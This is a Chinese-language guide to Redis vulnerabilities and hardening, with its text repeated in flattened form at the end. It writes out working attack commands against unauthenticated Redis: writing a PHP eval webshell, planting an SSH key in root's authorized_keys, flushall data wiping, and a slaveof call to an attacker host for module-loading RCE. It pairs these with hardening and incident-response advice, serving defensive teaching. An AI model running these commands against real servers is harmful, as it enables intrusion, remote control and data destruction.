Redis漏洞总结
字数 1706 2025-08-24 07:48:09

Redis安全漏洞全面解析与防御指南

一、Redis基础概述

Redis(Remote Dictionary Server)是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的Key-Value数据库,并提供多种语言的API。

核心特性

  • 内存存储:数据主要存储在内存中,读写性能极高(每秒超过10万次操作)
  • 持久化支持:可将内存数据保存到磁盘
  • 多种数据结构:支持字符串、哈希、列表、集合、有序集合等
  • 分布式支持:主从复制、集群等功能
  • 多语言API:提供多种编程语言接口

主要应用场景

  1. 缓存系统
  2. 分布式锁
  3. 会话存储
  4. 实时排行榜
  5. 消息队列

二、Redis关键配置解析

安全相关配置项

  1. port:监听端口,默认6379

    port 6379
    
  2. bind:绑定IP地址(白名单机制)

    bind 192.168.1.100 10.0.0.1  # 允许多个IP
    bind 0.0.0.0  # 允许任意IP连接(危险)
    
  3. protected-mode:安全模式(Redis 3.2+)

    protected-mode yes  # 开启安全模式(推荐)
    protected-mode no   # 关闭安全模式
    
  4. requirepass:认证密码

    requirepass your_strong_password
    
  5. dir:工作目录

    dir /var/lib/redis
    
  6. dbfilename:持久化文件名

    dbfilename dump.rdb
    
  7. rename-command:重命名危险命令

    rename-command CONFIG ""  # 禁用CONFIG命令
    rename-command FLUSHALL ""  # 禁用FLUSHALL
    rename-command CONFIG HTCMD  # 重命名CONFIG为HTCMD
    
  8. save:持久化触发条件

    save 900 1      # 900秒内有1次修改则保存
    save 300 10     # 300秒内有10次修改则保存
    save 60 10000   # 60秒内有10000次修改则保存
    

三、Redis常见漏洞类型及利用方式

1. 未授权访问漏洞

漏洞原理

  • Redis绑定在0.0.0.0且未设置密码
  • 无防火墙限制,直接暴露在公网

利用条件

  • Redis服务监听在0.0.0.0:6379
  • 未设置requirepass认证密码
  • 无防火墙规则限制

漏洞危害

  1. 数据泄露:查看所有键值对

    keys *
    get sensitive_key
    
  2. 数据销毁:

    flushall  # 删除所有数据
    del key   # 删除特定键
    
  3. 系统信息泄露:

    info      # 获取系统信息
    
  4. 写入Webshell:

    config set dir /var/www/html
    config set dbfilename shell.php
    set payload "<?php @eval($_POST['cmd']);?>"
    save
    
  5. SSH公钥写入(需root运行Redis):

    ssh-keygen -t rsa
    
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    set x "\n\nssh-rsa AAAAB3Nza...\n\n"
    save
    

2. 主从复制RCE漏洞

影响版本:Redis 4.x/5.x

漏洞原理

  • 利用Redis主从模式同步机制
  • 通过FULLRESYNC同步恶意.so文件
  • 加载恶意模块执行任意命令

利用条件

  • Redis 4.x/5.x版本
  • 无需root权限(普通用户也可利用)

利用步骤

  1. 编译恶意.so文件(如使用redis-rogue-server)
  2. 设置主从关系:
    slaveof attacker_ip attacker_port
    
  3. 通过主节点同步恶意模块
  4. 加载模块执行命令

3. 配置不当导致的漏洞

危险命令

  • CONFIG:可修改Redis配置
  • SAVE/BGSAVE:持久化操作
  • FLUSHALL:清空所有数据
  • MODULE:加载外部模块

防御建议

  • 禁用或重命名危险命令
  • 限制config修改敏感配置

四、Redis安全加固方案

1. 认证与访问控制

requirepass your_strong_password  # 设置强密码
rename-command CONFIG ""         # 禁用危险命令
bind 内网IP                      # 限制绑定IP
protected-mode yes               # 开启保护模式

2. 网络层防护

  • 防火墙限制只允许可信IP访问6379端口
  • 修改默认端口(不推荐作为唯一措施)
  • 禁用公网监听(bind 127.0.0.1)

3. 权限最小化

  • 使用非root用户运行Redis

    useradd -r redis
    chown -R redis:redis /var/lib/redis
    
  • 限制Redis目录权限

    chmod 700 /var/lib/redis
    

4. 日志与监控

loglevel notice
logfile /var/log/redis/redis.log
  • 监控异常登录尝试
  • 审计敏感命令执行

5. 补丁与更新

  • 及时升级到最新稳定版本
  • 关注Redis安全公告

五、漏洞利用实例分析

案例1:SSH公钥写入

  1. 攻击者生成SSH密钥对

    ssh-keygen -t rsa
    
  2. 通过未授权Redis写入公钥

    config set dir /root/.ssh
    config set dbfilename authorized_keys
    set x "\n\nssh-rsa AAAAB3Nza...\n\n"
    save
    
  3. 通过SSH免密登录

    ssh -i id_rsa root@target_ip
    

案例2:Webshell写入

  1. 确定Web目录

    config set dir /var/www/html
    
  2. 设置恶意PHP文件名

    config set dbfilename shell.php
    
  3. 写入PHP代码

    set payload "<?php @eval($_POST['cmd']);?>"
    
  4. 保存到磁盘

    save
    

六、应急响应措施

发现入侵后应立即:

  1. 断开网络连接
  2. 备份当前Redis数据文件
  3. 检查并删除恶意文件:
    • /root/.ssh/authorized_keys
    • Web目录下的可疑.php文件
  4. 审查Redis命令历史
  5. 重置SSH密钥和Redis密码
  6. 修复漏洞后恢复服务

七、Redis安全配置检查清单

  1. [ ] 已设置强密码认证(requirepass)
  2. [ ] 已禁用或重命名危险命令(CONFIG/FLUSHALL等)
  3. [ ] 已限制绑定IP(非0.0.0.0)
  4. [ ] 已开启protected-mode
  5. [ ] 使用非root用户运行Redis
  6. [ ] 已设置适当的文件权限
  7. [ ] 已配置防火墙规则
  8. [ ] 已启用日志记录
  9. [ ] 已定期备份数据
  10. [ ] 已更新到最新稳定版本

通过全面理解这些Redis安全漏洞及其防御措施,系统管理员可以有效保护Redis服务免受攻击,确保数据安全和服务稳定性。

Redis安全漏洞全面解析与防御指南 一、Redis基础概述 Redis(Remote Dictionary Server)是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的Key-Value数据库,并提供多种语言的API。 核心特性 内存存储:数据主要存储在内存中,读写性能极高(每秒超过10万次操作) 持久化支持:可将内存数据保存到磁盘 多种数据结构:支持字符串、哈希、列表、集合、有序集合等 分布式支持:主从复制、集群等功能 多语言API:提供多种编程语言接口 主要应用场景 缓存系统 分布式锁 会话存储 实时排行榜 消息队列 二、Redis关键配置解析 安全相关配置项 port :监听端口,默认6379 bind :绑定IP地址(白名单机制) protected-mode :安全模式(Redis 3.2+) requirepass :认证密码 dir :工作目录 dbfilename :持久化文件名 rename-command :重命名危险命令 save :持久化触发条件 三、Redis常见漏洞类型及利用方式 1. 未授权访问漏洞 漏洞原理 : Redis绑定在0.0.0.0且未设置密码 无防火墙限制,直接暴露在公网 利用条件 : Redis服务监听在0.0.0.0:6379 未设置requirepass认证密码 无防火墙规则限制 漏洞危害 : 数据泄露:查看所有键值对 数据销毁: 系统信息泄露: 写入Webshell: SSH公钥写入(需root运行Redis): 2. 主从复制RCE漏洞 影响版本 :Redis 4.x/5.x 漏洞原理 : 利用Redis主从模式同步机制 通过FULLRESYNC同步恶意.so文件 加载恶意模块执行任意命令 利用条件 : Redis 4.x/5.x版本 无需root权限(普通用户也可利用) 利用步骤 : 编译恶意.so文件(如使用redis-rogue-server) 设置主从关系: 通过主节点同步恶意模块 加载模块执行命令 3. 配置不当导致的漏洞 危险命令 : CONFIG :可修改Redis配置 SAVE / BGSAVE :持久化操作 FLUSHALL :清空所有数据 MODULE :加载外部模块 防御建议 : 禁用或重命名危险命令 限制config修改敏感配置 四、Redis安全加固方案 1. 认证与访问控制 2. 网络层防护 防火墙限制只允许可信IP访问6379端口 修改默认端口(不推荐作为唯一措施) 禁用公网监听(bind 127.0.0.1) 3. 权限最小化 使用非root用户运行Redis 限制Redis目录权限 4. 日志与监控 监控异常登录尝试 审计敏感命令执行 5. 补丁与更新 及时升级到最新稳定版本 关注Redis安全公告 五、漏洞利用实例分析 案例1:SSH公钥写入 攻击者生成SSH密钥对 通过未授权Redis写入公钥 通过SSH免密登录 案例2:Webshell写入 确定Web目录 设置恶意PHP文件名 写入PHP代码 保存到磁盘 六、应急响应措施 发现入侵后应立即: 断开网络连接 备份当前Redis数据文件 检查并删除恶意文件: /root/.ssh/authorized_keys Web目录下的可疑.php文件 审查Redis命令历史 重置SSH密钥和Redis密码 修复漏洞后恢复服务 七、Redis安全配置检查清单 [ ] 已设置强密码认证(requirepass) [ ] 已禁用或重命名危险命令(CONFIG/FLUSHALL等) [ ] 已限制绑定IP(非0.0.0.0) [ ] 已开启protected-mode [ ] 使用非root用户运行Redis [ ] 已设置适当的文件权限 [ ] 已配置防火墙规则 [ ] 已启用日志记录 [ ] 已定期备份数据 [ ] 已更新到最新稳定版本 通过全面理解这些Redis安全漏洞及其防御措施,系统管理员可以有效保护Redis服务免受攻击,确保数据安全和服务稳定性。